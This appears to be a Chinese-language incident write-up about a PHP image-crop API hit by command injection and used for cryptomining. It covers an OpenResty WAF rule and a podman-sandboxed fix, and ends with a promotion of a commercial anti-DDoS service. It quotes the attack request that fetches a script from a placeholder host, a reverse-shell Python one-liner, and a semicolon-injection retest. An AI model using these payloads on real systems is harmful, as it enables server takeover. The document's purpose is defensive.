環境:CentOS 8 + OpenResty 1.21 + PHP-FPM 8.0
背景:營銷團隊上線了一個“圖片裁剪”接口,參數直接拼進shell_exec
,結果被打成“礦機”。
1. 發現:流量突增 30 倍,卻不見數據庫慢查詢
iftop -i eth0
出站 1.8 Gbps,目標 IP 全是境外 3333 端口。
ps aux | grep python
蹦出大量:
www-data 18293 112 0.3 /tmp/.tmpXXX/python3 -c import socket,subprocess,os;s=socket.socket...
2. 定位:一句話木馬是怎么進來的?
翻 access.log
,找到一條:
POST /crop?url=http://xxx.com/a.jpg%3Bcd%20/tmp%3Bwget%20http://yyy.com/p.py
PHP 里寫法:
shell_exec("convert {$url} -resize 200x200 out.jpg");
經典“命令串鏈”——一個分號直接拿到宿主機權限。
3. 臨時止血:OpenResty 階段 0 攔截
不改 PHP,先在外層堵。
/usr/local/openresty/nginx/conf/waf.conf
:
-- 階段 0:args 階段就跑,性能最好
local ngx = ngx
local re_find = ngx.re.find
local args = ngx.req.get_uri_args()
for k, v in pairs(args) doif re_find(v, [[;|\$\(|`]], "jo") thenngx.exit(403)end
end
nginx.conf
里 include waf.conf;
reload 后掃描立刻 403,礦機進程不再新增。
4. 長期方案:把“圖片處理”扔進一次性容器
命令注入本質是“宿主機與業務進程沒隔離”。
裝 podman
(CentOS 8 默認源就有),寫個 wrapper
:
function safe_crop($url, $width, $height) {$uuid = bin2hex(random_bytes(8));$podmanRun = sprintf('podman run --rm -v /tmp/crop:/data docker.io/imagick:7 '.'convert "%s" -resize %dx%d /data/out_%s.jpg 2>&1',escapeshellarg($url), $width, $height, $uuid);exec($podmanRun, $output, $ret);return $ret === 0 ? "/tmp/crop/out_{$uuid}.jpg" : false;
}
就算傳進來 ; curl xxx
,也只在容器里執行,退出即焚。
5. 隱藏彩蛋:給入口 IP 再加一道“高防”罩子
容器方案上線后,CPU 是降了,但 2 Gbps 的“垃圾流量”依舊打滿機房帶寬。
運維兄弟把主域名解析丟到“某高防 IP”——號稱 1.5 T 清洗能力,實際就是 Anycast 先把流量引到上游,用 eBPF 把 90% 的 UDP/ICMP 直接 drop,再回源。
切過去 3 分鐘,流量圖瞬間干凈,只留 200 Mbps 真實請求。
關鍵是:回源 IP 不變,代碼 0 改動,證書也不用重新簽發。
計費按“干凈流量”算,比直接買 10 G 帶寬便宜一半。
6. 一行命令復測
# 老 payload
curl 'http://api.xxxxx.com/crop?url=a.jpg%3Bwhoami '
# 返回
{"code":403,"msg":"invalid separator in url"}
7. 小結
- OpenResty 階段 0 做正則,比 PHP 層快 10 倍。
- 容器化一次性任務,宿主機再也不怕“分號”。
- 入口流量直接走“高防 IP”,省帶寬、省備案、省心臟。
整套下來,代碼 diff 不到 30 行,第二天全組喝咖啡時感慨:“原來安全也可以這么便宜。”
至于高防 IP 是誰家的?賬單上只寫了“群聯高防 IP 彈性版”,用不用隨你——反正 podman
和 OpenResty
都是開源的,自己搭也行。